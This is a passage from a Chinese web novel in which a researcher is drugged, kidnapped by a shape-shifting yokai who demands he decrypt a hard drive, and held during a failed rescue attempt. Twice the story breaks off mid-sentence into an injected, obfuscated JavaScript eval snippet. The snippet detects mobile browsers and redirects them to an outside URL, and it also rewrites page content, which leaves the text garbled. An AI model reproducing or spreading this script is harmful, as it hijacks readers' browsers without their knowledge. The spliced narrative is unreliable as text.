“还需要什么吗?今天我请客。”林欣予说着,看上去像是准备离开的样子。 “那我再点一份华夫饼吧,”安格森倒是还打算再在这里坐一会儿,“你有事就先走吧,我正好在这看一些文件。” “好。”林欣予毫不拖延,去前台付钱追加了一份华夫饼,随后又和安格森打了声招呼,就这样离开了。 这年头还对这些知识感兴趣的孩子不多见了。安格森这么想着,喝了口刚刚续上来的饮料,从自己的包里拿出笔记本电脑,准备在这看一下林睿雅刚刚给自己的u盘。 刚打开电脑电源,店员小姐就端着华夫饼走来。安格森本想说句谢谢,让她把华夫饼放在电脑旁边即可,却突然发现,自己发不出声音了。 不仅是声音,眼前的画面在瞬间变得模糊扭曲。突如其来的眩晕感如潮水般淹没了他的意识,视觉和听觉都似乎被一股无形的力量拉入了深不见底的漩涡。 “先生?先生!”他听见刚来的店员有些惊恐地喊着他,但身体的力量已经被彻底抽空,连努力保持清醒都变成奢望。倏然间,他听到了玻璃破碎的声音,好像是店员过于惊慌,打碎了之前装饮料的玻璃杯……对了,饮料,自己那杯饮料里有东西,而那杯饮料是这个店员做的—— 失去视觉的最后一秒,他看向了那似乎很慌乱的店员小姐,而她的表情根本不如语气般慌张,而是挂上了一丝阴谋得逞般的笑容。 在那之后,无尽的黑暗将他的意识彻底吞没。 …… 另一边,审讯室的审讯仍在持续。在夏峰问到徐贺的作案过程时,林睿雅已经成功把u盘塞给安格森,并在此时加入了审讯团队。 “怎么侵入?我还没有侵入啊,你们什么意思?” 徐贺这句话把对面三人都说懵了,看对面暂时没反应,徐贺赶紧接着说了下去:“我那天没打算动手的,我刚到旅馆就被你们的人围攻了,哪有去侵入的时间!还说我偷走了那个硬盘,我可是连那个硬盘长什么样都没见过!你们可别把不属于我的罪名安给我!” 要说三人现在最懵的是什么,那应该就是,徐贺这话不像是假的。 说实话,从徐贺被他们抓到起,就表现出了无与伦比地配合,基本上是问什么答什么,而且充满了真诚,一幅认错良好的态度。再加上苏佑容之前提及过的时间问题,所以此时他说的这些话,在三人看来着实不像是说谎的样子。 那么,盗走硬盘的究竟是谁,难道大家一直都忽视了第三人的存在? 事出突然,夏峰让记录员留下看着徐贺,然后和林睿雅先离开了审讯室,换了个地方讨论下一步对策,但目前他们手中的线索均因为这神秘的第三人悉数断裂。所有的可能性好像都被困在了一个无尽的迷宫之中,四处碰壁。半晌的讨论后,两人依旧无法得出丝毫结论。 事已至此,夏峰想了两句话安慰一下自己,顺便也稍微放松一下紧绷的情绪:“也不用太着急,硬盘的加密系统堪称天衣无缝,就算盗走硬盘的人有顶级黑客的协助,没有两三个月的时间,也破除不了硬盘的防御。” “等下,那个加密这么难突破?”林睿雅察觉到了什么,赶紧发问道。 “是啊,那可是我见过最完美的系统。”夏峰点头认可,“没有顶尖技术人员的话,估计根本破除不了。” 该死,自己刚刚见他时应该提醒他的。林睿雅后知后觉,慌忙抽出手机开始打电话。见她这个反应,夏峰好像也意识到了什么,一下子慌乱了起来,也拿出手机发消息,试图通过除了电话以外的方式联系到那个人。 “接啊…接啊——”两人同时在心里默默地呐喊着,只要电话那边的人能接通,一切就还有挽回的余地。 然而,电话回应给他们的,只有忙音。 “嘟—嘟—嘟—” 短小急促的忙音像是一个一个重锤,狠狠捶落在二人的心头,预兆着它背后如永夜般巨大的阴谋,已经逼近了成功的终点…… 21.绑架 “滴答、滴答、滴答。” 最先恢复的,是听觉,安格森听到了水滴低落的声音。随后触觉与嗅觉同时恢复,夹杂着铁锈味的冰冷空气,让他在瞬间清醒了不少。慢慢地,他挣扎着睁开眼睛,映入眼帘的是完全陌生的场景。 这地方好像是个废弃的仓库,一旁摆放着很多锈迹斑斑的货架,货架下是散落满地的玻璃碎片。角落里堆放着各种废弃的物品,有些已经辨别不出来原本的样貌。更过分的是天花板,这废弃仓库的屋顶是瓦片做的,此时已经有半个屋顶的瓦片消失了,剩下的一半看上去也摇摇欲坠的样子。刚刚传来的水声就是从瓦片上滑落的水滴落地的声音,看现在的气温和潮湿度,估计是刚刚下过雨。 他坐在一把铁制的椅子上,椅子则放在仓库的正中间,被死死地焊在地上。 强制自己清醒过来后,安格森开始思考眼前到底是什么情况。自己最后的记忆停留在林欣予来找自己,在那之后林欣予先走了,自己打算再在咖啡店坐一阵,然后就彻底没有记忆了……没记错的话,那会儿已经是下午接近黄昏,但看现在的天色,却像是刚清晨不久,自己失去意识了这么长时间吗?又为什么会突然移动到这种地方…… 安格森思考了无数种可能性,最后得出了一个可能性最高的答案——自己被绑架了。 这个想法马上就得到了证实。高强度的思考对于刚刚清醒过来的大脑明显有些超出符合了,剧烈的头疼让他下意识想扶额缓解,却突然发现自己抽不出手。回头一看,才发现自己的双手被一双银色的手铐反剪,完全挣脱不了。 不管怎么看,自己这都是被绑架了吧,到底是谁干的这种事…… 好在罪魁祸首没让他等太久,当他刚想到这里时,一个既陌生又带点熟悉的身影出现在了他的视野之中。 来者是个女人,穿着一身十分简单的衣服,上身是合身的褐色皮夹克,下身穿着黑牛仔裤和马丁靴,留着干练的褐色短发,看上去下一秒就能去参加某种特工任务一样。如果安格森没记错的话,上一次见到她,她还在咖啡店里,穿着一身很像乖乖女的服务员装扮。 想到这里,对面正式打了招呼:“你好,安格森·谢尔塔斯先生。” 知道自己的名字,看来是提前调查过自己了……安格森一边分析着现在能得到的信息,一边想着自己该如何应对这种情况,目前来看,这位绑匪似乎没有想要自己命的意图。于是他开口问道:“你想要什么?要钱还是要色?” “别这么俗,如果我要这些的话,你不会到现在还是安然无恙。”对面倒是很直接,丝毫没有废话。只见她从背后拿出了一件东西,那是一个黑色硬盘,上面刻着金色的烫金字——“α”。 “只要你解开这硬盘里的加密程序,就能完好无损地从这离开。” 果然如此吗。安格森其实本来就隐隐约约地猜到了,毕竟这人绑架自己的时间如此恰到好处,看上去又不像是那种粗鄙之人,绑架的目的肯定不会是单纯的贪图钱财。 安格森不禁唏嘘,想自己之前那么努力地避着这个事件走,却没想到还是被卷入了最中心的位置。 事已至此,他肯定不能乖乖解开加密,除此之外能做的最好行动应该就是拖延时间,物零社那边肯定已经发现自己失踪了,只要自己能够拖延足够的时间等物零社找到他,那就还有的救。 但说是拖延时间,他其实也不知道自己具体该做些什么去实现这个目的,于是简短思考后他决定先套套近乎:“嗯……您怎么称呼?” “叶琳。” 出乎意料的,对面非常迅速地回答了一个名字,做出这种反应的可能性也无非两种,一种是这是假名,另一种是就算她的真名被人知道,对她来说也无所畏惧。 “你,要这文件里的内容干什么?”安格森试探着问道。 对方似乎没心情再进行这些没营养的话了,她伸手抬起安格森下巴,脸色净是冷意:“你似乎没有知道这些的必要,搞清楚你现在的立场,相信我们彼此的时间都很宝贵。” 说实话,在得知对方的目的以后,安格森反而有了一点底气。现在可以明确的是,对方需要他的帮助,他敢保证那份文件的加密系统除了他以外没人能解开,只要对方是个有点脑子的人,就不会对他做什么,那么现在掌握主动权的应该是自己才对。 然而,对面那位自称叶琳的绑匪女士似乎也意识到了这点。所以在说完上句话后,叶琳接着说道:“你觉得现在这个情况下,我不敢杀你?” “难道不是吗?”安格森心里想着,但没敢把这话说出来。 叶琳眯着眼睛笑了起来:“我现在确实不敢杀你,毕竟我确实需要你解开加密,但除了杀人,我还有很多其他的方法。” 她变戏法般得不知从哪变出来了一把修长的手术刀,锋利的刀刃贴向安格森的脸侧,再深一丝就会刻进他的皮肤:“我想我需要的只有你的大脑、眼睛和双手而已,如果少一两只耳朵,也没什么大碍吧?” 突如其来的利刃让安格森的身体僵住了,他下意识想往旁边躲,但被束缚住的身体根本挪动不了多少位置,叶琳的威胁他听得清楚,看她的架势,如果自己不同意的话,除了那几个部位以外,其他部位似乎是别想完好无损了…… “我、我明白了,你先把刀拿开!” 手术刀终于从他脸侧挪开了,叶琳手里拿着刀,像是拿着玩具一样,拿刀当成笔似的在手里转圈圈,丝毫不担心自己被刀刃划伤。她就这样看着安格森,等待着他的回答。 “这样,我们做个交易吧。”半晌后,安格森说:“我可以给你解开加密,但你得告诉我你的目的是什么。” 叶琳叹了口气:“看来你还是没明白自己的处境……” 但她的话还没说完,就被安格森打断了:“我知道,你可以通过很多其他办法逼迫我顺从你的要求,但是那其中花费的时间成本和精力,要远远大于三两句话说下自己的目的吧?” “呵,你倒是挺会讨价还价的。”叶琳笑了一声,不得不说,安格森说的有道理,更何况叶琳要这份文件只是和别人的交易,而那人并没有说要保密这次交易的事情。所以她应下了安格森的要求:“可以,你先把加密解开一层,让我看看你的诚意。” 说着,叶琳从包里拿出一台笔记本电脑,把电脑和α硬盘一起放在安格森面前。随后她绕到安格森身后,解开了扣住他双手的手铐。 待手铐被解开后,安格森打开面前的笔记本电脑看了一眼,对叶琳说道:“这个电脑不行,笔记本电脑的性能太差了,运行不了解密的程序的,得用台式电脑才行。” “……” 看到对方展示出来的无语,安格森赶紧接着补充道:“我没骗你!不信你去问问其他搞技术的人,这么复杂的程序用普通笔记本电脑是做不了的!” 叶琳无奈道:“行,我去给你找台式电脑。” 她一边说着,一边又拿起手铐,看来是打算在离开前再把安格森拷住。而就在她刚刚伸手时,一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17102528|195718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 块厚重的金属板砸了上来—— 安格森举起手中的笔记本电脑——这电脑的大小和重量显然是十分趁手的武器——瞄准叶琳的头部,狠狠地砸了下去! 虽然按理来说,他不该这样粗暴地对一位女性的,但此时对方是绑匪,他是人质,只要能逃,不论做什么都情有可原。 眼见叶琳被突如其来的重击打倒在地,安格森顾不上确认对方的受伤情况,把电脑往旁边一扔,拔腿就往门外跑。叶琳进来的时候并没有完全关上仓库大门,只要他能从相对狭小的室内空间出去,凭借男人和女人的身体素质差异,他就能保证叶琳追不上自己,当然,前提是她没有其他同伙。不管如何,这都是现在安格森自救的最好机会了。 他三步并作两步,没几秒就跑到了门口的位置,尚未关严的门缝里透露出清晨阳光,他握住大门的门把将它向外推去,不出意外的话下一秒他就能闯入外部灿烂的阳光和新鲜空气里。 而门后却不是那样的。 当他推开门后,门的后面,依旧是一个仓库,和他刚刚所在的仓库一模一样的仓库。 “什……”他惊悚地回头,却发现刚刚倒在背后的叶琳也不见了。 这是什么情况?那女人没被打晕?不对啊,那她应该马上来追自己啊,为什么会直接消失了?还有这个仓库,刚刚明明从门缝里看见了阳光的,为什么现在推开门后又是一个一模一样的仓库,难道…… 安格森咬了咬牙,继续往前走,打开了第二个仓库的大门,而门外的场景无情地印证了他的猜想,那又是一个一模一样的仓库。 这算是什么,鬼打墙吗? 他不信邪地又往前开了一扇门,而门后不出意外地依旧是那个熟悉的仓库布局,让他一下陷入了进退维谷的境地。现在看来,走门是走不出去了,要么就只能走写其他的路——比如仓库缺少的那一半天花板,可以试着从那爬出去。 正当他这样想时,下一次异变发生了。地面突然开始剧烈地抖动起来,像是地震一样,仓库中那些零散的货架叮铃哐啷地响着,随后一个接着一个倒下。突如其来地抖动甚至没法让人站稳,安格森没两下就失去平衡摔倒在地上,随后就看见了无比惊悚的一幕。 沿着他的身体周围,地面陡然裂开,裂缝如蜘蛛网般迅速向周围蔓延,随后下坠的失重感和地下的黑暗包裹了他的所有感官,直到重重落地的疼痛感唤醒了他。 视线再次恢复时,安格森的眼前还是那扇透露着阳光的大门,刚刚经历的一切仿佛是真实的,又仿佛只是梦境……还是说,现在才是现实? 肩部传来的疼痛感再次让他清醒了几分,他才发现自己现在趴在地上,而叶琳膝盖顶着他的背部,一手扣住他的左肩,一手按住他的头部,把他狠狠地压在地上。 安格森试图反抗,却发现叶琳的力气大得离谱,根本不像是她这个身材的女性能拿出的力量,并且他这一反抗,让叶琳手上的力道又大了几分,甚至压得他有点喘不过气来。不过比起这些,先前经历的一切更让安格森在意,那到底是什么,幻觉吗?自己难道先前还被注射了能致幻的药物?不对…… 他突然想起,前不久自己的学生问过自己一个问题,而自己是这样回答的—— “刚好你说到幻觉,我所知道的这种妖就拥有释放幻境的能力……” “你……”安格森艰难地扭头,看向叶琳的脸:“你不是人类。” 闻言,叶琳不可置否地笑了起来。 “你猜。” 22.救援? 时间一分一秒过去。安格森能清晰地看到,太阳逐渐从较低的天边爬升到头顶。他手边没有钟表之类的东西,只能通过太阳散发出的愈发热烈的光线判断,时间估计快要到中午了。 叶琳此时并不在这里,当安格森说了必须要高配的台式电脑才能运行程序后,叶琳就一个人离开了,估计是去找他需要的电脑了。 其实安格森这句话本身也真假参半,真在以普通笔记本电脑的性能确实没办法运行程序,假在其实他不用那些程序也能把加密解开。 而他之前逃跑的意图也彻底告吹,叶琳在把他制服住后,重新用那只□□拷住了他,不过这次是一端锁着他的手腕,另一端栓在和地面焊死的铁管上。这手铐看着普普通通,中间的细铁链好像用力一拽就会断,但实际上显然不是这样。叶琳离开后,安格森不是没想过其他办法把手铐解开,只是他真的办不到这种事。先前看过诸多影视作品里各种开锁王,但真落到自己身上,才发现开锁并不是什么简单的事情。 事到如今,他靠自己从叶琳身边逃走的几率已经无线接近于零,对方不是人类,哪怕不动用特殊能力,拼纯粹的身体素质也不是自己所能抗衡的。以至于在他现在衡量过各方利弊之后,开始认真的考虑自己要不要真正配合她,去解开文件加密,至少能保证自己的安全。至于物零社那边,哪怕自己被胁迫解密,也不会太过刁难自己吧,大不了被炒鱿鱼,再赔他们一笔钱,这事也就算结束了。 正当他这样想着的时候,叶琳回来了。她看上去像是心情不错的样子,看来找一台高配置电脑对她来说也不是什么难事。只见叶琳走上前,只解开了扣在铁管那端的手铐,然后在安格森错愕的目光下,将另一半扣在她自己的手腕上。 “那电脑在的地方有点远,我现在带你过去。以及我劝你打消再次逃跑的念头。”她说着,手上用劲扯了扯那连接着两人的手铐,“对于我的身份,我想你自己心里已经有概念了,那就别做自讨苦吃的事情。” “你都说到这个份上了,我还能说什么呢……”安格森很想这样回一句,但终究没说出口,现在的情况就是人为刀俎我为鱼肉,逞口舌之快没有一点好处。 话说物零社那边,能力不行啊。安格森一边被叶琳硬扯着往前走,一边在心里默默腹诽。算算自己被绑架已经过了快24小时,物零社那边一点动静都没有吗?在监控网密布的现代社会,只要查一下自己被迷晕的那个咖啡店和附近的监控,应该很容易就能找到自己的踪迹吧……难道说物零社那边甚至没发现他被绑架…… 各种胡思乱想在他脑海里越想越多,可能是因为现在行动被钳制,所以思维变得异常活跃,以至于他甚至没太注意周围的情况,直到叶琳突然停下了脚步。 还没等安格森有什么反应,叶琳突然停下脚步的下一刻,立马扯动了连着两人的手铐,一把将安格森扯到了自己的怀里,带着手铐的手狠狠握住了安格森的同一边手腕,用力之大握得他手腕生疼。还没等他抗议,一抹熟悉的冰凉重新贴紧了安格森的皮肤。 是那柄锋利的手术刀,此时正贴住他脆弱的颈部,再深几分就会直接刺穿喉管。 安格森本想发问这是什么意思,但下一秒发生的事解答了他的疑问。 人,一眼数不清的人,从废弃厂房的两侧、前方、后方,各个方向,围了上来。再仔细一看,入眼皆是熟悉的面庞,这些都是物零社的人,或是他的同事,或是他的学生。 “冷静点。”一个熟悉的声音从人群后方传来,站在前面的人纷纷朝两侧让开,林睿雅从后方走到最前面,很自然地担当起谈判的角色,“不要伤人,我们可以谈谈。” “你们是怎么找到这个地方的?”叶琳的发问倒是直接,“市里的监控我都调整过,你们是怎么找来这个地方的?” 但林睿雅直接无视了这个问题:“我们知道你绑架那个男人的目的,我们可以先谈谈,即使你破除了那份文件的加密,没有物零社的特定系统,你也看不见里面的具体内容。不如把文件卖回给我们如何,你可以开价。或者你想要什么其他条件?只要你保证人质和文件的安全,这些都可以谈。” 很标准的谈判措辞,但明眼人都知道,这些话大部分都是胡扯,轻易答应这些话往往只有进局子这条路,通常对那些被逼到绝路已经失去理智的绑匪来说比较好用,但对于叶琳这种人,显然什么作用都没有。 “不好意思,我想要的,你们给不起。”叶琳说着,突然转头看向身后,那里已然有个人逼近到了离她不到十步的距离,她手上的劲突然又加大几分,手术刀的利刃在瞬间划破安格森的颈部皮肤,嵌进了浅层的血肉里,“后退!否则我现在就杀了他。” 突如其来的疼痛让安格森心中一惊,他错愕地用只有他们两人能听到的声音悄悄在叶琳耳边抗议:“你不是答应了不杀我……”话还没说完,就被又深了几丝的刀刃硬生生压了回去。 然而,刚刚逼近的那些人似乎并没有后退的意思,他们只是站定在原地,没有继续向前逼近。安格森看着眼前的情况心如乱麻,物零社的人到他俩之间的距离、和他的脖颈与刀刃间的距离就像是一个正比,那群人离得越近,危险的利刃刻入越深。叶琳的手上没有丝毫犹豫的感觉,这些人但凡敢继续接近,他毫不怀疑叶琳会打破之前的承诺直接撕票。说起来也很有戏剧性,之前叶琳还没回来的时候,他期盼了几个小 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林睿雅听得明白,绑匪那两句话表面上向着物零社说,但实际上,是说给安格森听的。现在绑匪正准备带着安格森从这离开,想必是之前安格森以一些原因为借口拖延时间,加密到现在还没有被解开。他拖延时间的原因无非是想等人来救他,现在好不容易等来了,如果这些能救他的人抱着救不了就杀的想法,那掌握技术的安格森岂不是很容易当场倒戈。 最卑劣的是,在他们出发“救援”之前,夏峰传达给她的意思,确实是这样的。 “这位……小姐,我们向来把人的性命放在第一位!只要你别伤人,什么都好说!”林睿雅这句话目的明显,也是说给安格森听。她能看得出来,在叶琳那几句话后,安格森的状态明显变得有些不对劲了,她必须得再传达出去“物零社从没想过放弃他”的意思,即使物零社这边并没有这样的想法。 “呵。”叶琳冷笑了一声显然并不相信对面的说辞,“我跟你们这些人类也没什么好说的,既然不准备告诉我你们找到我位置的方法,那就没什么好谈的。” 话音刚落,没有任何征兆的,就像是融化进空气中一样,叶琳挟持着安格森的身影倏然消失! 物零社的人群嘈杂起来,众人面面相觑,没有人知道发生了什么,但所有人都看见了同一幅画面。明明是现实场景,却像是被剪辑了的视频一样,上一帧还在场的绑匪和人质,下一帧就凭空消失了。 林睿雅显然也不知道这是什么情况,但她在片刻的慌乱之后迅速稳定下了在场的所有人。她看了眼手机地图,言之凿凿地下达接下来的指令:“他们在往北边走,追!” 23.“鹿千” 从安格森的视角看,他所经历的玄妙不亚于物零社的人眼中所看到的。 在其他人看来,两人直接消失在了包围圈中央,而在安格森的视角里,他们从未消失过。他只感觉自己眼前稍微模糊了一下,几秒钟过后,周围所有人的表情都变得疑惑起来,嘈杂着一些乱七八糟的话,零零散散听来大概是“那两人消失了”之类的意思。 估计是叶琳发动能力了,属于梦寐的幻境能力,让两人直接消失在了那群人的视野之中。但这毕竟只是幻境,他们并不是真正的消失,所以叶琳下一秒做了一件差点让安格森叫出来的事——他被带着飞了起来! 说是飞也比较勉强,更像是一次跳跃度极高的飞跃,叶琳拽着安格森原地起跳,飞跃十几米后,落在人群的外面。或许是预料到安格森可能会有的反应,叶琳先一步收起刀,用手捂住他的嘴,防止他叫出来。 等安格森回过神时,叶琳已经带着他跑出一段距离了,而身后的那群人还在骚乱之中。 但叶琳的状态似乎不太对劲,仅仅拉开寥寥几百米距离后,她就停在了一个角落,像是一个跑了八百米的普通人,气喘吁吁地扶着墙,似乎花费了很大力气,正在艰难地恢复。 安格森本身想说很多话,全都被叶琳这个反应堵在了嘴里。此时此刻,他对叶琳的态度改变许多,或许是因为物零社的先前行为,或许是因为斯德哥尔摩,不论如何,他现在居然产生了要关心叶琳的想法。 “梦寐的能力不是作用于现实环境,而是作用于人的大脑,刚刚在场的那二十余人都看到了幻境,也就是说你同时把能力作用于所有人。”安格森看着气喘吁吁的叶琳,语气突然变得沉重起来:“看样子这二十多人就是你的能力极限了,你多大了?明明已经获得了完全的智力,但你的妖力似乎并没有多强。” “不随便打听女生的年龄可是社交礼仪的基础。”叶琳显然不打算回答这个问题,“虽然之前调查过你的一些信息,但你在对妖类的研究上,似乎远超我的预期。” 这也是变相承认,安格森对梦寐能力的描述,全都是正确的。 虽然先前为了从包围网中突破出来,消耗了叶琳很多力量,但她恢复得也很快,几分钟后呼吸就恢复平稳,也有了些余力去思考安格森之前说的那句话:“听你这几句话的意思,你还见过其他比我更强的梦寐?” 安格森并没有直接回答她:“只是推测而已,你别放在心上。”虽然叶琳在妖类之中不算强大,但想要折磨他这个普通人类也是绰绰有余。 “走吧。”片刻的休息后,叶琳彻底恢复,“你要的电脑在市里面,过去的路程有点长。” “等等……”安格森突然意识到了什么,“你之前都是怎么从这里去市区的,难道……” “打车啊。” 下一句话,叶琳印证了他的猜想。 情况在此刻突然变得有些滑稽起来,如果打个比方的话,就像是一个修仙者穿越到现代,展现出了现代人难以理解的各种能力,此时有人兴冲冲的问他,你怎么赶路?是不是能够御剑飞行或者瞬间移动?结果修仙者说:“赶路当然是骑马啊。” ……和这种感觉一样。 叶琳当然不知道安格森想了这些奇怪玩意儿,只是在旁边催促:“快走吧,不然一会儿市区要高峰期了,路上会堵车的。” “等下,”安格森指了指两人手腕上的手铐:“要带着这玩意打车吗?司机怎么看,有着什么诡异癖好的奇怪年轻人?” 叶琳很理所当然地说:“用幻境盖住就好了,很简单的操作。” 行吧,真是便利的能力。 …… 一个小时后,果不其然,市区的高峰期开始了。 不知道该说叶琳是料事如神还是单纯的运气好,她和安格森回市区的路一路通畅,而在之后追着他们的林睿雅一行人,反而被午高峰死死堵在了从郊区进市区的高速路中央。 无奈之下,林睿雅只好联系物零社这边还留在市区内的空闲人手。但说实话,在上次事件过后,她本不想让自己的妹妹参与到这次事件中。 “欣予,是我。”她拨通了林欣予的电话:“我这边遇到了一些事情……” 林睿雅简单地概括了一下现在的情况,大概来说就是,她这边知道那两人正在往市中心走,但现在自己这边的人被困在高速路上,一时半会儿过不去,所以需要还在市区里的人去看下具体情况,保证文件的安全。 “他们从你们面前突然消失了?”在说到这里的情况时,林欣予突然反问:“看到那个绑匪的脸了吗?长什么样子?” “女性,褐色短发。” 那就不是林欣予之前遇到的那个黑发女人。林欣予想着姐姐口中的描述,突然从众人眼前消失,很像是一些不属于人类的技术,自己之前遇到的那个穿着绿色长裙的黑发女人就是这样在自己眼前突然消失的,难道这次的绑匪也是梦寐? 林睿雅不知道林欣予在想这些,只是在叮嘱:“对面不是普通人,你注意安全,带着黎子鸣一起过去。不要贸然上前,能确定人质和文件的安全就行。” “知道了。”林欣予漫不经心地应和着,心里还在合计着自己的计划。 似乎是听出来了对方的不在意,林睿雅叹了口气,把语气加重了几分:“林欣予,你听好了,我知道你有些自己的打算,但是不论如何,不要让自己陷入危险的境地里。” 听到这句话,林欣予沉默了一会儿。她知道自己的这些小动作瞒不过姐姐,但也知道姐姐并不会对她的小动作有什么反应,哪怕这些小动作在某种方面来说会威胁物零社的安全。或许这就是血脉留下来的牵绊。比起其他的,林睿雅最在乎的,一直是她这个妹妹。 “知道了,姐。”林欣予回应道:“我会把自己的安全放在第一位,你把他们的定位发给我吧。” 电话结束后没多久,林欣予就收到了一个动态定位。她看着那个定位思索了一会儿,旋即先转发给了秦竹一:“你先去这里,看下能不能拿到硬盘。” 收到对方确认的回复后,林欣予才又把定位发给黎子鸣,和对方约了时间碰面。 不过,在这几天的各种事情里,林欣予确实隐隐约约感觉到了有些什么东西,正在大家看不见的地方汹涌滚动。人类能操纵魑魅的方式也好,先前一直被认定的已经灭绝的妖怪再次出现也好,种种事情发生得过于紧凑,很难说是巧合。 谜团重重,谜底究竟如何? 林欣予有种预感,只要能看见那份名为“α”的硬盘文件内容,一切都会有答案。 …… 叶琳找到的地方,有些出乎安格森的预料。 地点在一个居民小区里面,是一个位于顶楼的居民房间,而那里面…怎么说…一看就是个“游戏宅”的房间。 房间入眼就是一台高清的弧形液晶显示屏,摆在桌子的正中央,旁边放着近一米高的机箱,装饰着很多花里胡哨的灯带。各种粗细的数据线从桌上绕到地上,稍微不注意就会被绊倒。桌子的侧面还放着一个展示柜,柜子里放着各种游戏和动漫的手办,让人一眼就可以看出来房主的爱好。 但不得不说,能带动这些大体量游戏的电脑设备,性能确实不算差。 “你答应过我的,现在履行承诺吧。”叶琳把硬盘递给他,眼神示意他现在赶紧开工。 安格森这次没有再找什么奇怪的理由拖延时间,他接过硬盘,干脆利落地连接上数据线,片刻读取过后,偌大的电脑屏幕被一片复杂的代码数据覆盖。 叶琳完全看不懂这些数据,当然也看不懂安格森究竟是怎么操作的,只看他飞速敲击着键盘,屏幕上的各种文字也在飞速滚动,或是增加或是被删改,转眼间就闪过了数十个窗口页面。 “话说,我之前问你做这些的目的,现在能告诉我了吗?”安格森一边看似聚精会神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不是,等等。”安格森突然叫停,“你见到的那个自称鹿千的人,应该比你强很多吧?”毕竟在各种记载里,麇都有着群妖之首的称谓。 “当然。”对于这个问题,叶琳有些摸不着头脑,但还是如实回答,“你们人类可能不清楚,但对于妖来说,我们是可以感知到彼此之间的妖力强弱的。所以第一次见面我就能感受到,他是我远不能抗衡的存在。” “那他为什么要和你做这种交易?”安格森说:“你都可以轻易从现在的物零社中带出来的硬盘,他为什么不自己做?” “这……”叶琳明显从未想过这个问题,只能支支吾吾地道:“可能鹿千有其他顾虑在,说到底,他这种存在有什么想法有什么计划,都不是我这种小喽啰能触及到的。” 安格森有些无语:“你就不能想想其他可能性吗?比如那家伙根本就不是鹿千,真正的群妖之首怎么可能这么挫!?” “你不懂。”叶琳倒是情绪很稳定,“我见过他,妖力的感知是不会骗人的,再加上那双蓝色的瞳孔,不可能作假。” “就这?” “不然呢?” 安格森突然停下了手里的动作,用自己那双同样是蓝色瞳孔的眼睛向叶琳投去了真挚的目光:“你就凭他眼睛是蓝色的就认准他是麇?我眼睛也是蓝色的,你怎么不直接认我算了?” “……他那是物种问题,你这是人种问题。”叶琳十分无语地回道:“合着我前面说妖力的那些,你是一点也没听啊。” “我就是觉得你们这交易一点都不靠谱。”安格森倒是很快地又恢复手上工作:“话说他和你交易的东西究竟是什么?能让你这么心甘情愿地给他办事。” “也是件存在于传说中的东西,不知道你知不知道。”叶琳吸了一口气,说出了它的名字—— “神树血。” 24.神树血 传闻中,南方有神树,生于寻常人家,汲取人间烟火为养分,百年而熟。成熟后的神木,使用特定的方法,取其躯干最中心的茎液,可能会出现一滴鲜红如血的汁液,此即为神树血,能够生死人、肉白骨。 简单来说就是,能够让人起死回生。 放在现代,这叫做封建迷信;但在古时,多少代帝王倾尽一生想要寻求神树血。然而,几千年来的记载中,从未有人真正得到过能够让死人复活的神树血,神树血液就此变成只存在于传说中的事物。 “你真的相信有这种东西存在?”安格森表示出十足的怀疑。 “我不相信也得相信。”叶琳说:“我只有这个选择了。” 话说到这里,安格森已经结束了手中的工作,屏幕上那些复杂的窗口和代码已经几乎消失了,只剩下“加载中”三个大字,和下面目前显示只有1%的进度条,正在缓慢爬升之中。 “我觉得我有故事可以听了。”安格森略带慵懒地仰倒在椅背上,“这个加载至少需要一两个小时,等完成后你就可以拿东西去找那个鹿千交差,在那之前,如果你不介意,我想听听你为什么需要神树血。” “这可不是什么愉快的故事。” “洗耳恭听。” 在漫长等待的间隙,叶琳开始了她的讲述。 “我记得你之前问我的年龄,如果按人类的年龄来说,我应该已经是迟暮的老人了吧,但是对于妖来说,这个年龄估计只能算是新生。” 说实话,虽然叶琳口口声声说着妖,但实际上,她见到的第一位也是唯一一位除了她自己以外的妖,其实就是那位自称鹿千的存在。叶琳诞生的时间,是在妖怪已经灭绝之后的,长久的未来。不同于其他妖,梦寐是特殊的存在,它们不依靠□□生殖来进行繁衍,而是依托于人类,所以在其他妖消失殆尽之后,梦寐其实并没有彻底消失。 但即使没有消失,新生梦寐的数量也衰减到了一定程度。而梦寐虽然诞生于人类梦境,本身却仍需要一定妖力的存在作为跳板,而妖的灭绝让世间存在的妖力所剩无几,所以渐渐地,梦寐也几近消失了。至少在叶琳生命的七十多年中,她从未看见过新生的同族。 “我要救的人,是我的……”叶琳似乎在想一个称呼的措辞,但是半晌都没能得到一个合适的答案,“宿主?朋友?或是说我的‘母亲’?你应该明白我的意思。” “我诞生于她的梦。” 叶琳有记忆的时候,自己的身体就是20岁左右的人类女生模样。见到的第一个人,就是一个与自己拥有同样双眸的人类,也是个20多岁的女生。 最开始时,她不了解人类,不了解人类社会,缺少各方面常识,甚至不会人类的语言。只是有些诞生于种族的本能,像小鹿刚生下来就会走路一样,她从诞生起就能理解到,自己并不是人类,并不是眼前这个数量庞大种族中的一员。 但那个女生收留了这个莫名其妙突然出现在自己身边的妖怪。 像是对待妹妹——或说更像是对待女儿——一样,那个人类教会了她人类的语言,教会了她各种生活常识,教会了她在人类社会中生存的方法。期间也有遇到很多危险的事,比如那个人类女生的家人,没人会同意自己的女儿收留一个来路不明、连话都说不清楚的人,但在她的坚持下,叶琳还是安然无恙地生活了下去。 她们就这样过了七十多年。 最开始的十年,是叶琳学习成为“人类”的时间。她最开始以为是女生的精心教导让自己逐渐变得越来越像真正的人类,但之后她发现,只是在这几年的时间里,自己的妖力愈发强大,所以变得越来越容易学习各种知识。而幻境的能力是梦寐与神俱来的,最开始她只能对一个人施加幻境,随着成长,这个人数也来到了二十多人。 